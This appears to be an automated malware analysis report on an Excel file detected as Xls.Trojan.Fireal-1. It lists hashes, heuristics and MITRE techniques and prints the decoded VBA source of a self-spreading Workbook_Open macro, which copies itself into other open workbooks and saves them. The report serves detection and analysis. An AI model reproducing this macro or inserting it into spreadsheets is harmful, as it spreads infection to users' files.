Xls.Trojan.Fireal-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 aa59219c1c48d273…

MALICIOUS

Office (OLE)

16.5 KB Created: 2000-11-16 21:41:32 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 9384eb6c102081c381b4ae0aee35d9bf SHA-1: 4053723af00d8313aa5e00e4f1ceb9eb69f0e44b SHA-256: aa59219c1c48d273820d02287e5bf40b0d8f6721180f1adf8d0f1b0aa66098ac
180 Risk Score

Malware Insights

Xls.Trojan.Fireal-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1546.005 Service Execution: Service Stop

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Fireal-1. It contains a Workbook_Open VBA macro that iterates through other open workbooks, copies its malicious code into them, and then saves the modified workbooks. This behavior indicates an attempt to spread the infection to other Excel files.

Heuristics 3

  • ClamAV: Xls.Trojan.Fireal-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Fireal-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1919 bytes
SHA-256: 77bcc732f0aa9b1dd444d1c15604e3c3f5ce27671db08f2691335120507c5200
Detection
ClamAV: Xls.Trojan.Fireal-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'fireal
Private Sub Workbook_Open()
On Error Resume Next
For Each fireal In ThisWorkbook.VBProject.VBComponents
If fireal.Properties.Count = 73 Then ourcode = fireal.codemodule.Lines(1, 20)
Next
For Each book In Workbooks
For Each fireal In book.VBProject.VBComponents
If fireal.Properties.Count = 73 And fireal.codemodule.Lines(1, 1) <> "'fireal" Then
fireal.codemodule.deletelines 1, fireal.codemodule.countoflines
fireal.codemodule.insertlines 1, ourcode
If book.Path = "" Then book.SaveAs book.FullName Else book.Save
End If
Next
Next
End Sub
'x97m.fireal (c) 1999 jackie
'1st language independent excel class infector
'No backdrops and no lights can focus on that shit...Linezer0 '1999

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.